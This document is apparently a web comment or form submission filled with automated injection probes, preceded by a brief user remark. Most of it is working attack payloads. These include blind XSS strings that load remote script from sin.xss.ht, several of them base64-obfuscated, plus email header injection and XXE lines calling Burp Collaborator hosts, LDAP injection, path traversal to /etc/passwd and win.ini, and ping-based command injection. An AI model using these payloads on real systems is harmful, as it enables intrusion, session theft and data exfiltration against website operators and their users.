Haha! Didn't know that was possible!

How?

Dave

"><script src=https://sin.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https ://sin.xss.ht\';document.body.appendChild(a)')

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB 0Iik7YS5zcmM9Imh0dHBzOi8vc2luLnhzcy5odCI7ZG9jdW1lb nQuYm9keS5hcHBlbmRDaGlsZChhKTs= autofocus>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB 0Iik7YS5zcmM9Imh0dHBzOi8vc2luLnhzcy5odCI7ZG9jdW1lb nQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB 0Iik7YS5zcmM9Imh0dHBzOi8vc2luLnhzcy5odCI7ZG9jdW1lb nQuYm9keS5hcHBlbmRDaGlsZChhKTs=>

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="h ttps://sin.xss.ht";parent.document.body.appendChil d(a);</script>">

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//sin.xss.ht");a.send();</script>


<script>$.getScript("//sin.xss.ht")</script>

TEST HELLOTEST22242 HELLO

TEST HELLOTEST HELLO

TEST HELLOTEST HELLO

TEST HELLOTEST HELLOllnryd135 } }%z } }$z

TEST HELLOTEST HELLOg4n6xn7\`z''z\"\\

TEST HELLOTEST HELLOh8j2bg3`z'z"\

lwu87`z'z"${ { %{ { \

TEST HELLOTEST HELLO|zq=%3c%61%60%27%22%24%7b%7b%5c

TEST HELLOTEST HELLO>
BCC:r3vxlljz99392ciwibigy7zn2e8da12vqndp1e@burpcol laborator.net
oef: v

TEST HELLOTEST HELLO'+(function(){if(typeof fz4m1==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);fz4m1=1; } }())+'

<ysy xmlns="http://a.b/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://qvpwdkby18v8ubavaaafq6rmud0c202oubwzl.burpcollabor ator.net/ysy.xsd">ysy</ysy>

*)(!(objectClass=*)

3x1ofozvmx)(!(!(objectClass=*))

vfj/TEST HELLOTEST HELLO

../../../../../../../../../../../../../../../../etc/passwdTEST HELLOTEST HELLO

c:\windows\win.ini

TEST HELLOTEST HELLO"|ping -n 21 127.0.0.1 ||

TEST HELLOTEST HELLO&ping -n 21 127.0.0.1&